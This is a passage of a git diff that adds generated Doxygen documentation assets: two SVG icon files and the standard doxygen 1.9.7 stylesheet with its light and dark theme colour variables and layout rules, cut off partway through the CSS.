+ + diff --git a/doc/api/doc.svg b/doc/api/doc.svg new file mode 100644 index 00000000..296728b1 --- /dev/null +++ b/doc/api/doc.svg @@ -0,0 +1,12 @@ + + + + + + + + + + + diff --git a/doc/api/docd.svg b/doc/api/docd.svg new file mode 100644 index 00000000..65cf4b50 --- /dev/null +++ b/doc/api/docd.svg @@ -0,0 +1,12 @@ + + + + + + + + + + + diff --git a/doc/api/doxygen.css b/doc/api/doxygen.css new file mode 100644 index 00000000..6ce28130 --- /dev/null +++ b/doc/api/doxygen.css @@ -0,0 +1,2017 @@ +/* The standard CSS for doxygen 1.9.7*/ + +html { +/* page base colors */ +--page-background-color: white; +--page-foreground-color: black; +--page-link-color: #144779; +--page-visited-link-color: #195794; + +/* index */ +--index-odd-item-bg-color: #F3F8FD; +--index-even-item-bg-color: white; +--index-header-color: black; +--index-separator-color: #A0A0A0; + +/* header */ +--header-background-color: #F5F9FD; +--header-separator-color: #A0C7EE; +--header-gradient-image: url('nav_h.png'); +--group-header-separator-color: #4491DE; +--group-header-color: #113B65; +--inherit-header-color: gray; + +--footer-foreground-color: #0C2B4A; +--footer-logo-width: 104px; +--citation-label-color: #10375F; +--glow-color: cyan; + +--title-background-color: white; +--title-separator-color: #1E67AF; +--directory-separator-color: #62A3E4; +--separator-color: #1B5D9E; + +--blockquote-background-color: #F1F7FC; +--blockquote-border-color: #62A3E4; + +--scrollbar-thumb-color: #62A3E4; +--scrollbar-background-color: #F5F9FD; + +--icon-background-color: #257FD9; +--icon-foreground-color: white; +--icon-doc-image: url('doc.svg'); +--icon-folder-open-image: url('folderopen.svg'); +--icon-folder-closed-image: url('folderclosed.svg'); + +/* brief member declaration list */ +--memdecl-background-color: #F5F9FD; +--memdecl-separator-color: #C8DFF5; +--memdecl-foreground-color: #555; +--memdecl-template-color: #195794; + +/* detailed member list */ +--memdef-border-color: #74ADE7; +--memdef-title-background-color: #D0E3F6; +--memdef-title-gradient-image: url('nav_f.png'); +--memdef-proto-background-color: #CAE0F5; +--memdef-proto-text-color: #0A233D; +--memdef-proto-text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9); +--memdef-doc-background-color: white; +--memdef-param-name-color: #602020; +--memdef-template-color: #195794; + +/* tables */ +--table-cell-border-color: #0D2F50; +--table-header-background-color: #123E6A; +--table-header-foreground-color: #FFFFFF; + +/* labels */ +--label-background-color: #257FD9; +--label-left-top-border-color: #1E67AF; +--label-right-bottom-border-color: #A0C7EE; +--label-foreground-color: white; + +/** navigation bar/tree/menu */ +--nav-background-color: #F5F9FD; +--nav-foreground-color: #113C67; +--nav-gradient-image: url('tab_b.png'); +--nav-gradient-hover-image: url('tab_h.png'); +--nav-gradient-active-image: url('tab_a.png'); +--nav-gradient-active-image-parent: url("../tab_a.png"); +--nav-separator-image: url('tab_s.png'); +--nav-breadcrumb-image: url('bc_s.png'); +--nav-breadcrumb-border-color: #9CC5EE; +--nav-splitbar-image: url('splitbar.png'); +--nav-font-size-level1: 13px; +--nav-font-size-level2: 10px; +--nav-font-size-level3: 9px; +--nav-text-normal-color: #0B2845; +--nav-text-hover-color: white; +--nav-text-active-color: white; +--nav-text-normal-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9); +--nav-text-hover-shadow: 0px 1px 1px rgba(0, 0, 0, 1.0); +--nav-text-active-shadow: 0px 1px 1px rgba(0, 0, 0, 1.0); +--nav-menu-button-color: #113C67; +--nav-menu-background-color: white; +--nav-menu-foreground-color: #555555; +--nav-menu-toggle-color: rgba(255, 255, 255, 0.5); +--nav-arrow-color: #62A3E4; +--nav-arrow-selected-color: #62A3E4; + +/* table of contents */ +--toc-background-color: #EEF5FC; +--toc-border-color: #BFD9F4; +--toc-header-color: #195794; +--toc-down-arrow-image: url("data:image/svg+xml;utf8,&%238595;"); + +/** search field */ +--search-background-color: white; +--search-foreground-color: #909090; +--search-magnification-image: url('mag.svg'); +--search-magnification-select-image: url('mag_sel.svg'); +--search-active-color: black; +--search-filter-background-color: #F5F9FD; +--search-filter-foreground-color: black; +--search-filter-border-color: #5098E0; +--search-filter-highlight-text-color: white; +--search-filter-highlight-bg-color: #144779; +--search-results-foreground-color: #174F86; +--search-results-background-color: #E2EEFA; +--search-results-border-color: black; +--search-box-shadow: inset 0.5px 0.5px 3px 0px #555; + +/** code fragments */ +--code-keyword-color: #008000; +--code-type-keyword-color: #604020; +--code-flow-keyword-color: #E08000; +--code-comment-color: #800000; +--code-preprocessor-color: #806020; +--code-string-literal-color: #002080; +--code-char-literal-color: #008080; +--code-xml-cdata-color: black; +--code-vhdl-digit-color: #FF00FF; +--code-vhdl-char-color: #000000; +--code-vhdl-keyword-color: #700070; +--code-vhdl-logic-color: #FF0000; +--code-link-color: #195794; +--code-external-link-color: #195794; +--fragment-foreground-color: black; +--fragment-background-color: #F9FBFE; +--fragment-border-color: #A0C7EE; +--fragment-lineno-border-color: #00FF00; +--fragment-lineno-background-color: #E8E8E8; +--fragment-lineno-foreground-color: black; +--fragment-lineno-link-fg-color: #195794; +--fragment-lineno-link-bg-color: #D8D8D8; +--fragment-lineno-link-hover-fg-color: #195794; +--fragment-lineno-link-hover-bg-color: #C8C8C8; +--tooltip-foreground-color: black; +--tooltip-background-color: white; +--tooltip-border-color: gray; +--tooltip-doc-color: grey; +--tooltip-declaration-color: #006318; +--tooltip-link-color: #195794; +--tooltip-shadow: 1px 1px 7px gray; + +/** font-family */ +--font-family-normal: Roboto,sans-serif; +--font-family-monospace: 'JetBrains Mono',Consolas,Monaco,'Andale Mono','Ubuntu Mono',monospace,fixed; +--font-family-nav: 'Lucida Grande',Geneva,Helvetica,Arial,sans-serif; +--font-family-title: Tahoma,Arial,sans-serif; +--font-family-toc: Verdana,'DejaVu Sans',Geneva,sans-serif; +--font-family-search: Arial,Verdana,sans-serif; +--font-family-icon: Arial,Helvetica; +--font-family-tooltip: Roboto,sans-serif; + +} + +@media (prefers-color-scheme: dark) { + html:not(.dark-mode) { + color-scheme: dark; + +/* page base colors */ +--page-background-color: black; +--page-foreground-color: #C9D1D9; +--page-link-color: #5098E0; +--page-visited-link-color: #6DA9E5; + +/* index */ +--index-odd-item-bg-color: #02070C; +--index-even-item-bg-color: black; +--index-header-color: #A0C7EE; +--index-separator-color: #10375F; + +/* header */ +--header-background-color: #010407; +--header-separator-color: #040F1A; +--header-gradient-image: url('nav_hd.png'); +--group-header-separator-color: #0B2845; +--group-header-color: #5098E0; +--inherit-header-color: #A0A0A0; + +--footer-foreground-color: #206DBA; +--footer-logo-width: 60px; +--citation-label-color: #5098E0; +--glow-color: cyan; + +--title-background-color: #010509; +--title-separator-color: #113A63; +--directory-separator-color: #0B2845; +--separator-color: #0B2845; + +--blockquote-background-color: #030C14; +--blockquote-border-color: #0B2845; + +--scrollbar-thumb-color: #0B2845; +--scrollbar-background-color: #010407; + +--icon-background-color: #10375F; +--icon-foreground-color: #A0C7EE; +--icon-doc-image: url('docd.svg'); +--icon-folder-open-image: url('folderopend.svg'); +--icon-folder-closed-image: url('folderclosedd.svg'); + +/* brief member declaration list */ +--memdecl-background-color: #02070C; +--memdecl-separator-color: #0D2D4D; +--memdecl-foreground-color: #BBB; +--memdecl-template-color: #3488DC; + +/* detailed member list */ +--memdef-border-color: #092138; +--memdef-title-background-color: #071829; +--memdef-title-gradient-image: url('nav_fd.png'); +--memdef-proto-background-color: #061524; +--memdef-proto-text-color: #64A4E4; +--memdef-proto-text-shadow: 0px 1px 1px rgba(0, 0, 0, 0.9); +--memdef-doc-background-color: black; +--memdef-param-name-color: #D28757; +--memdef-template-color: #3488DC; + +/* tables */ +--table-cell-border-color: #0B2845; +--table-header-background-color: #0B2845; +--table-header-foreground-color: #A0C7EE; + +/* labels */ +--label-background-color: #113B65; +--label-left-top-border-color: #195794; +--label-right-bottom-border-color: #0B2845; +--label-foreground-color: #CCCCCC; + +/** navigation bar/tree/menu */ +--nav-background-color: #030C14; +--nav-foreground-color: #113C67; +--nav-gradient-image: url('tab_bd.png'); +--nav-gradient-hover-image: url('tab_hd.png'); +--nav-gradient-active-image: url('tab_ad.png'); +--nav-gradient-active-image-parent: url("../tab_ad.png"); +--nav-separator-image: url('tab_sd.png'); +--nav-breadcrumb-image: url('bc_sd.png'); +--nav-breadcrumb-border-color: #0C2B4A; +--nav-splitbar-image: url('splitbard.png'); +--nav-font-size-level1: 13px; +--nav-font-size-level2: 10px; +--nav-font-size-level3: 9px; +--nav-text-normal-color: #8ABAEA; +--nav-text-hover-color: #C5DDF5; +--nav-text-active-color: #C5DDF5; +--nav-text-normal-shadow: 0px 1px 1px black; +--nav-text-hover-shadow: 0px 1px 1px rgba(0, 0, 0, 1.0); +--nav-text-active-shadow: 0px 1px 1px rgba(0, 0, 0, 1.0); +--nav-menu-button-color: #8ABAEA; +--nav-menu-background-color: #000204; +--nav-menu-foreground-color: #BBBBBB; +--nav-menu-toggle-color: rgba(255, 255, 255, 0.2); +--nav-arrow-color: #10375F; +--nav-arrow-selected-color: #5098E0; + +/* table of contents */ +--toc-background-color: #04101B; +--toc-border-color: #081D32; +--toc-header-color: #6DA9E5; +--toc-down-arrow-image: url("data:image/svg+xml;utf8,&%238595;"); + +/** search field */ +--search-background-color: black; +--search-foreground-color: #C5C5C5; +--search-magnification-image: url('mag_d.svg'); +--search-magnification-select-image: url('mag_seld.svg'); +--search-active-color: #C5C5C5; +--search-filter-background-color: #030C14; +--search-filter-foreground-color: #5098E0; +--search-filter-border-color: #3488DC; +--search-filter-highlight-text-color: #93BFEC; +--search-filter-highlight-bg-color: #0B2845; +--search-results-background-color: #030C14; +--search-results-foreground-color: #5098E0; +--search-results-border-color: #3488DC; +--search-box-shadow: inset 0.5px 0.5px 3px 0px #0E3255; + +/** code fragments */ +--code-keyword-color: #CC99CD; +--code-type-keyword-color: #AB99CD; +--code-flow-keyword-color: #E08000; +--code-comment-color: #717790; +--code-preprocessor-color: #65CABE; +--code-string-literal-color: #7EC699; +--code-char-literal-color: #00E0F0; +--code-xml-cdata-color: #C9D1D9; +--code-vhdl-digit-color: #FF00FF; +--code-vhdl-char-color: #000000; +--code-vhdl-keyword-color: #700070; +--code-vhdl-logic-color: #FF0000; +--code-link-color: #79C0FF; +--code-external-link-color: #79C0FF; +--fragment-foreground-color: #C9D1D9; +--fragment-background-color: black; +--fragment-border-color: #30363D; +--fragment-lineno-border-color: #30363D; +--fragment-lineno-background-color: black; +--fragment-lineno-foreground-color: #6E7681; +--fragment-lineno-link-fg-color: #6E7681; +--fragment-lineno-link-bg-color: #303030; +--fragment-lineno-link-hover-fg-color: #8E96A1; +--fragment-lineno-link-hover-bg-color: #505050; +--tooltip-foreground-color: #C9D1D9; +--tooltip-background-color: #202020; +--tooltip-border-color: #C9D1D9; +--tooltip-doc-color: #D9E1E9; +--tooltip-declaration-color: #20C348; +--tooltip-link-color: #79C0FF; +--tooltip-shadow: none; + +/** font-family */ +--font-family-normal: Roboto,sans-serif; +--font-family-monospace: 'JetBrains Mono',Consolas,Monaco,'Andale Mono','Ubuntu Mono',monospace,fixed; +--font-family-nav: 'Lucida Grande',Geneva,Helvetica,Arial,sans-serif; +--font-family-title: Tahoma,Arial,sans-serif; +--font-family-toc: Verdana,'DejaVu Sans',Geneva,sans-serif; +--font-family-search: Arial,Verdana,sans-serif; +--font-family-icon: Arial,Helvetica; +--font-family-tooltip: Roboto,sans-serif; + +}} +body { + background-color: var(--page-background-color); + color: var(--page-foreground-color); +} + +body, table, div, p, dl { + font-weight: 400; + font-size: 14px; + font-family: var(--font-family-normal); + line-height: 22px; +} + +/* @group Heading Levels */ + +.title { + font-weight: 400; + font-size: 14px; + font-family: var(--font-family-normal); + line-height: 28px; + font-size: 150%; + font-weight: bold; + margin: 10px 2px; +} + +h1.groupheader { + font-size: 150%; +} + +h2.groupheader { + border-bottom: 1px solid var(--group-header-separator-color); + color: var(--group-header-color); + font-size: 150%; + font-weight: normal; + margin-top: 1.75em; + padding-top: 8px; + padding-bottom: 4px; + width: 100%; +} + +h3.groupheader { + font-size: 100%; +} + +h1, h2, h3, h4, h5, h6 { + -webkit-transition: text-shadow 0.5s linear; + -moz-transition: text-shadow 0.5s linear; + -ms-transition: text-shadow 0.5s linear; + -o-transition: text-shadow 0.5s linear; + transition: text-shadow 0.5s linear; + margin-right: 15px; +} + +h1.glow, h2.glow, h3.glow, h4.glow, h5.glow, h6.glow { + text-shadow: 0 0 15px var(--glow-color); +} + +dt { + font-weight: bold; +} + +p.startli, p.startdd { + margin-top: 2px; +} + +th p.starttd, th p.intertd, th p.endtd { + font-size: 100%; + font-weight: 700; +} + +p.starttd { + margin-top: 0px; +} + +p.endli { + margin-bottom: 0px; +} + +p.enddd { + margin-bottom: 4px; +} + +p.endtd { + margin-bottom: 2px; +} + +p.interli { +} + +p.interdd { +} + +p.intertd { +} + +/* @end */ + +caption { + font-weight: bold; +} + +span.legend { + font-size: 70%; + text-align: center; +} + +h3.version { + font-size: 90%; + text-align: center; +} + +div.navtab { + padding-right: 15px; + text-align: right; + line-height: 110%; +} + +div.navtab table { + border-spacing: 0; +} + +td.navtab { + padding-right: 6px; + padding-left: 6px; +} + +td.navtabHL { + background-image: var(--nav-gradient-active-image); + background-repeat:repeat-x; + padding-right: 6px; + padding-left: 6px; +} + +td.navtabHL a, td.navtabHL a:visited { + color: var(--nav-text-hover-color); + text-shadow: var(--nav-text-hover-shadow); +} + +a.navtab { + font-weight: bold; +} + +div.qindex{ + text-align: center; + width: 100%; + line-height: 140%; + font-size: 130%; + color: var(--index-separator-color); +} + +dt.alphachar{ + font-size: 180%; + font-weight: bold; +} + +.alphachar a{ + color: var(--index-header-color); +} + +.alphachar a:hover, .alphachar a:visited{ + text-decoration: none; +} + +.classindex dl { + padding: 25px; + column-count:1 +} + +.classindex dd { + display:inline-block; + margin-left: 50px; + width: 90%; + line-height: 1.15em; +} + +.classindex dl.even { + background-color: var(--index-even-item-bg-color); +} + +.classindex dl.odd { + background-color: var(--index-odd-item-bg-color); +} + +@media(min-width: 1120px) { + .classindex dl { + column-count:2 + } +} + +@media(min-width: 1320px) { + .classindex dl { + column-count:3 + } +} + + +/* @group Link Styling */ + +a { + color: var(--page-link-color); + font-weight: normal; + text-decoration: none; +} + +.contents a:visited { + color: var(--page-visited-link-color); +} + +a:hover { + text-decoration: underline; +} + +a.el { + font-weight: bold; +} + +a.elRef { +} + +a.code, a.code:visited, a.line, a.line:visited { + color: var(--code-link-color); +} + +a.codeRef, a.codeRef:visited, a.lineRef, a.lineRef:visited { + color: var(--code-external-link-color); +} + +a.code.hl_class { /* style for links to class names in code snippets */ } +a.code.hl_struct { /* style for links to struct names in code snippets */ } +a.code.hl_union { /* style for links to union names in code snippets */ } +a.code.hl_interface { /* style for links to interface names in code snippets */ } +a.code.hl_protocol { /* style for links to protocol names in code snippets */ } +a.code.hl_category { /* style for links to category names in code snippets */ } +a.code.hl_exception { /* style for links to exception names in code snippets */ } +a.code.hl_service { /* style for links to service names in code snippets */ } +a.code.hl_singleton { /* style for links to singleton names in code snippets */ } +a.code.hl_concept { /* style for links to concept names in code snippets */ } +a.code.hl_namespace { /* style for links to namespace names in code snippets */ } +a.code.hl_package { /* style for links to package names in code snippets */ } +a.code.hl_define { /* style for links to macro names in code snippets */ } +a.code.hl_function { /* style for links to function names in code snippets */ } +a.code.hl_variable { /* style for links to variable names in code snippets */ } +a.code.hl_typedef { /* style for links to typedef names in code snippets */ } +a.code.hl_enumvalue { /* style for links to enum value names in code snippets */ } +a.code.hl_enumeration { /* style for links to enumeration names in code snippets */ } +a.code.hl_signal { /* style for links to Qt signal names in code snippets */ } +a.code.hl_slot { /* style for links to Qt slot names in code snippets */ } +a.code.hl_friend { /* style for links to friend names in code snippets */ } +a.code.hl_dcop { /* style for links to KDE3 DCOP names in code snippets */ } +a.code.hl_property { /* style for links to property names in code snippets */ } +a.code.hl_event { /* style for links to event names in code snippets */ } +a.code.hl_sequence { /* style for links to sequence names in code snippets */ } +a.code.hl_dictionary { /* style for links to dictionary names in code snippets */ } + +/* @end */ + +dl.el { + margin-left: -1cm; +} + +ul { + overflow: visible; +} + +ul.multicol { + -moz-column-gap: 1em; + -webkit-column-gap: 1em; + column-gap: 1em; + -moz-column-count: 3; + -webkit-column-count: 3; + column-count: 3; + list-style-type: none; +} + +#side-nav ul { + overflow: visible; /* reset ul rule for scroll bar in GENERATE_TREEVIEW window */ +} + +#main-nav ul { + overflow: visible; /* reset ul rule for the navigation bar drop down lists */ +} + +.fragment { + text-align: left; + direction: ltr; + overflow-x: auto; /*Fixed: fragment lines overlap floating elements*/ + overflow-y: hidden; +} + +pre.fragment { + border: 1px solid var(--fragment-border-color); + background-color: var(--fragment-background-color); + color: var(--fragment-foreground-color); + padding: 4px 6px; + margin: 4px 8px 4px 2px; + overflow: auto; + word-wrap: break-word; + font-size: 9pt; + line-height: 125%; + font-family: var(--font-family-monospace); + font-size: 105%; +} + +div.fragment { + padding: 0 0 1px 0; /*Fixed: last line underline overlap border*/ + margin: 4px 8px 4px 2px; + color: var(--fragment-foreground-color); + background-color: var(--fragment-background-color); + border: 1px solid var(--fragment-border-color); +} + +div.line { + font-family: var(--font-family-monospace); + font-size: 13px; + min-height: 13px; + line-height: 1.2; + text-wrap: unrestricted; + white-space: -moz-pre-wrap; /* Moz */ + white-space: -pre-wrap; /* Opera 4-6 */ + white-space: -o-pre-wrap; /* Opera 7 */ + white-space: pre-wrap; /* CSS3 */ + word-wrap: break-word; /* IE 5.5+ */ + text-indent: -53px; + padding-left: 53px; + padding-bottom: 0px; + margin: 0px; + -webkit-transition-property: background-color, box-shadow; + -webkit-transition-duration: 0.5s; + -moz-transition-property: background-color, box-shadow; + -moz-transition-duration: 0.5s; + -ms-transition-property: background-color, box-shadow; + -ms-transition-duration: 0.5s; + -o-transition-property: background-color, box-shadow; + -o-transition-duration: 0.5s; + transition-property: background-color, box-shadow; + transition-duration: 0.5s; +} + +div.line:after { + content:"\000A"; + white-space: pre; +} + +div.line.glow { + background-color: var(--glow-color); + box-shadow: 0 0 10px var(--glow-color); +} + + +span.lineno { + padding-right: 4px; + margin-right: 9px; + text-align: right; + border-right: 2px solid var(--fragment-lineno-border-color); + color: var(--fragment-lineno-foreground-color); + background-color: var(--fragment-lineno-background-color); + white-space: pre; +} +span.lineno a, span.lineno a:visited { + color: var(--fragment-lineno-link-fg-color); + background-color: var(--fragment-lineno-link-bg-color); +} + +span.lineno a:hover { + color: var(--fragment-lineno-link-hover-fg-color); + background-color: var(--fragment-lineno-link-hover-bg-color); +} + +.lineno { + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +div.classindex ul { + list-style: none; + padding-left: 0; +} + +div.classindex span.ai { + display: inline-block; +} + +div.groupHeader { + margin-left: 16px; + margin-top: 12px; + font-weight: bold; +} + +div.groupText { + margin-left: 16px; + font-style: italic; +} + +body { + color: var(--page-foreground-color); + margin: 0; +} + +div.contents { + margin-top: 10px; + margin-left: 12px; + margin-right: 8px; +} + +p.formulaDsp { + text-align: center; +} + +img.dark-mode-visible { + display: none; +} +img.light-mode-visible { + display: none; +} + +img.formulaDsp { + +} + +img.formulaInl, img.inline { + vertical-align: middle; +} + +div.center { + text-align: center; + margin-top: 0px; + margin-bottom: 0px; + padding: 0px; +} + +div.center img { + border: 0px; +} + +address.footer { + text-align: right; + padding-right: 12px; +} + +img.footer { + border: 0px; + vertical-align: middle; + width: var(--footer-logo-width); +} + +.compoundTemplParams { + color: var(--memdecl-template-color); + font-size: 80%; + line-height: 120%; +} + +/* @group Code Colorization */ + +span.keyword { + color: var(--code-keyword-color); +} + +span.keywordtype { + color: var(--code-type-keyword-color); +} + +span.keywordflow { + color: var(--code-flow-keyword-color); +} + +span.comment { + color: var(--code-comment-color); +} + +span.preprocessor { + color: var(--code-preprocessor-color); +} + +span.stringliteral { + color: var(--code-string-literal-color); +} + +span.charliteral { + color: var(--code-char-literal-color); +} + +span.xmlcdata { + color: var(--code-xml-cdata-color); +} + +span.vhdldigit { + color: var(--code-vhdl-digit-color); +} + +span.vhdlchar { + color: var(--code-vhdl-char-color); +} + +span.vhdlkeyword { + color: var(--code-vhdl-keyword-color); +} + +span.vhdllogic { + color: var(--code-vhdl-logic-color); +} + +blockquote { + background-color: var(--blockquote-background-color); + border-left: 2px solid var(--blockquote-border-color); + margin: 0 24px 0 4px; + padding: 0 12px 0 16px; +} + +/* @end */ + +td.tiny { + font-size: 75%; +} + +.dirtab { + padding: 4px; + border-collapse: collapse; + border: 1px solid var(--table-cell-border-color); +} + +th.dirtab { + background-color: var(--table-header-background-color); + color: var(--table-header-foreground-color); + font-weight: bold; +} + +hr { + height: 0px; + border: none; + border-top: 1px solid var(--separator-color); +} + +hr.footer { + height: 1px; +} + +/* @group Member Descriptions */ + +table.memberdecls { + border-spacing: 0px; + padding: 0px; +} + +.memberdecls td, .fieldtable tr { + -webkit-transition-property: background-color, box-shadow; + -webkit-transition-duration: 0.5s; + -moz-transition-property: background-color, box-shadow; + -moz-transition-duration: 0.5s; + -ms-transition-property: background-color, box-shadow; + -ms-transition-duration: 0.5s; + -o-transition-property: background-color, box-shadow; + -o-transition-duration: 0.5s; + transition-property: background-color, box-shadow; + transition-duration: 0.5s; +} + +.memberdecls td.glow, .fieldtable tr.glow { + background-color: var(--glow-color); + box-shadow: 0 0 15px var(--glow-color); +} + +.mdescLeft, .mdescRight, +.memItemLeft, .memItemRight, +.memTemplItemLeft, .memTemplItemRight, .memTemplParams { + background-color: var(--memdecl-background-color); + border: none; + margin: 4px; + padding: 1px 0 0 8px; +} + +.mdescLeft, .mdescRight { + padding: 0px 8px 4px 8px; + color: var(--memdecl-foreground-color); +} + +.memSeparator { + border-bottom: 1px solid var(--memdecl-separator-color); + line-height: 1px; + margin: 0px; + padding: 0px; +} + +.memItemLeft, .memTemplItemLeft { + white-space: nowrap; +} + +.memItemRight, .memTemplItemRight { + width: 100%; +} + +.memTemplParams { + color: var(--memdecl-template-color); + white-space: nowrap; + font-size: 80%; +} + +/* @end */ + +/* @group Member Details */ + +/* Styles for detailed member documentation */ + +.memtitle { + padding: 8px; + border-top: 1px solid var(--memdef-border-color); + border-left: 1px solid var(--memdef-border-color); + border-right: 1px solid var(--memdef-border-color); + border-top-right-radius: 4px; + border-top-left-radius: 4px; + margin-bottom: -1px; + background-image: var(--memdef-title-gradient-image); + background-repeat: repeat-x; + background-color: var(--memdef-title-background-color); + line-height: 1.25; + font-weight: 300; + float:left; +} + +.permalink +{ + font-size: 65%; + display: inline-block; + vertical-align: middle; +} + +.memtemplate { + font-size: 80%; + color: var(--memdef-template-color); + font-weight: normal; + margin-left: 9px; +} + +.mempage { + width: 100%; +} + +.memitem { + padding: 0; + margin-bottom: 10px; + margin-right: 5px; + -webkit-transition: box-shadow 0.5s linear; + -moz-transition: box-shadow 0.5s linear; + -ms-transition: box-shadow 0.5s linear; + -o-transition: box-shadow 0.5s linear; + transition: box-shadow 0.5s linear; + display: table !important; + width: 100%; +} + +.memitem.glow { + box-shadow: 0 0 15px var(--glow-color); +} + +.memname { + font-weight: 400; + margin-left: 6px; +} + +.memname td { + vertical-align: bottom; +} + +.memproto, dl.reflist dt { + border-top: 1px solid var(--memdef-border-color); + border-left: 1px solid var(--memdef-border-color); + border-right: 1px solid var(--memdef-border-color); + padding: 6px 0px 6px 0px; + color: var(--memdef-proto-text-color); + font-weight: bold; + text-shadow: var(--memdef-proto-text-shadow); + background-color: var(--memdef-proto-background-color); + box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + border-top-right-radius: 4px; +} + +.overload { + font-family: var(--font-family-monospace); + font-size: 65%; +} + +.memdoc, dl.reflist dd { + border-bottom: 1px solid var(--memdef-border-color); + border-left: 1px solid var(--memdef-border-color); + border-right: 1px solid var(--memdef-border-color); + padding: 6px 10px 2px 10px; + border-top-width: 0; + background-image:url('nav_g.png'); + background-repeat:repeat-x; + background-color: var(--memdef-doc-background-color); + /* opera specific markup */ + border-bottom-left-radius: 4px; + border-bottom-right-radius: 4px; + box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + /* firefox specific markup */ + -moz-border-radius-bottomleft: 4px; + -moz-border-radius-bottomright: 4px; + -moz-box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 5px; + /* webkit specific markup */ + -webkit-border-bottom-left-radius: 4px; + -webkit-border-bottom-right-radius: 4px; + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); +} + +dl.reflist dt { + padding: 5px; +} + +dl.reflist dd { + margin: 0px 0px 10px 0px; + padding: 5px; +} + +.paramkey { + text-align: right; +} + +.paramtype { + white-space: nowrap; +} + +.paramname { + color: var(--memdef-param-name-color); + white-space: nowrap; +} +.paramname em { + font-style: normal; +} +.paramname code { + line-height: 14px; +} + +.params, .retval, .exception, .tparams { + margin-left: 0px; + padding-left: 0px; +} + +.params .paramname, .retval .paramname, .tparams .paramname, .exception .paramname { + font-weight: bold; + vertical-align: top; +} + +.params .paramtype, .tparams .paramtype { + font-style: italic; + vertical-align: top; +} + +.params .paramdir, .tparams .paramdir { + font-family: var(--font-family-monospace); + vertical-align: top; +} + +table.mlabels { + border-spacing: 0px; +} + +td.mlabels-left { + width: 100%; + padding: 0px; +} + +td.mlabels-right { + vertical-align: bottom; + padding: 0px; + white-space: nowrap; +} + +span.mlabels { + margin-left: 8px; +} + +span.mlabel { + background-color: var(--label-background-color); + border-top:1px solid var(--label-left-top-border-color); + border-left:1px solid var(--label-left-top-border-color); + border-right:1px solid var(--label-right-bottom-border-color); + border-bottom:1px solid var(--label-right-bottom-border-color); + text-shadow: none; + color: var(--label-foreground-color); + margin-right: 4px; + padding: 2px 3px; + border-radius: 3px; + font-size: 7pt; + white-space: nowrap; + vertical-align: middle; +} + + + +/* @end */ + +/* these are for tree view inside a (index) page */ + +div.directory { + margin: 10px 0px; + border-top: 1px solid var(--directory-separator-color); + border-bottom: 1px solid var(--directory-separator-color); + width: 100%; +} + +.directory table { + border-collapse:collapse; +} + +.directory td { + margin: 0px; + padding: 0px; + vertical-align: top; +} + +.directory td.entry { + white-space: nowrap; + padding-right: 6px; + padding-top: 3px; +} + +.directory td.entry a { + outline:none; +} + +.directory td.entry a img { + border: none; +} + +.directory td.desc { + width: 100%; + padding-left: 6px; + padding-right: 6px; + padding-top: 3px; + border-left: 1px solid rgba(0,0,0,0.05); +} + +.directory tr.odd { + padding-left: 6px; + background-color: var(--index-odd-item-bg-color); +} + +.directory tr.even { + padding-left: 6px; + background-color: var(--index-even-item-bg-color); +} + +.directory img { + vertical-align: -30%; +} + +.directory .levels { + white-space: nowrap; + width: 100%; + text-align: right; + font-size: 9pt; +} + +.directory .levels span { + cursor: pointer; + padding-left: 2px; + padding-right: 2px; + color: var(--page-link-color); +} + +.arrow { + color: var(--nav-arrow-color); + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + cursor: pointer; + font-size: 80%; + display: inline-block; + width: 16px; + height: 22px; +} + +.icon { + font-family: var(--font-family-icon); + line-height: normal; + font-weight: bold; + font-size: 12px; + height: 14px; + width: 16px; + display: inline-block; + background-color: var(--icon-background-color); + color: var(--icon-foreground-color); + text-align: center; + border-radius: 4px; + margin-left: 2px; + margin-right: 2px; +} + +.icona { + width: 24px; + height: 22px; + display: inline-block; +} + +.iconfopen { + width: 24px; + height: 18px; + margin-bottom: 4px; + background-image:var(--icon-folder-open-image); + background-repeat: repeat-y; + vertical-align:top; + display: inline-block; +} + +.iconfclosed { + width: 24px; + height: 18px; + margin-bottom: 4px; + background-image:var(--icon-folder-closed-image); + background-repeat: repeat-y; + vertical-align:top; + display: inline-block; +} + +.icondoc { + width: 24px; + height: 18px; + margin-bottom: 4px; + background-image:var(--icon-doc-image); + background-position: 0px -4px; + background-repeat: repeat-y; + vertical-align:top; + display: inline-block; +} + +/* @end */ + +div.dynheader { + margin-top: 8px; + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +address { + font-style: normal; + color: var(--footer-foreground-color); +} + +table.doxtable caption { + caption-side: top; +} + +table.doxtable { + border-collapse:collapse; + margin-top: 4px; + margin-bottom: 4px; +} + +table.doxtable td, table.doxtable th { + border: 1px solid var(--table-cell-border-color); + padding: 3px 7px 2px; +} + +table.doxtable th { + background-color: var(--table-header-background-color); + color: var(--table-header-foreground-color); + font-size: 110%; + padding-bottom: 4px; + padding-top: 5px; +} + +table.fieldtable { + margin-bottom: 10px; + border: 1px solid var(--memdef-border-color); + border-spacing: 0px; + border-radius: 4px; + box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15); +} + +.fieldtable td, .fieldtable th { + padding: 3px 7px 2px; +} + +.fieldtable td.fieldtype, .fieldtable td.fieldname { + white-space: nowrap; + border-right: 1px solid var(--memdef-border-color); + border-bottom: 1px solid var(--memdef-border-color); + vertical-align: top; +} + +.fieldtable td.fieldname { + padding-top: 3px; +} + +.fieldtable td.fielddoc { + border-bottom: 1px solid var(--memdef-border-color); +} + +.fieldtable td.fielddoc p:first-child { + margin-top: 0px; +} + +.fieldtable td.fielddoc p:last-child { + margin-bottom: 2px; +} + +.fieldtable tr:last-child td { + border-bottom: none; +} + +.fieldtable th { + background-image: var(--memdef-title-gradient-image); + background-repeat:repeat-x; + background-color: var(--memdef-title-background-color); + font-size: 90%; + color: var(--memdef-proto-text-color); + padding-bottom: 4px; + padding-top: 5px; + text-align:left; + font-weight: 400; + border-top-left-radius: 4px; + border-top-right-radius: 4px; + border-bottom: 1px solid var(--memdef-border-color); +} + + +.tabsearch { + top: 0px; + 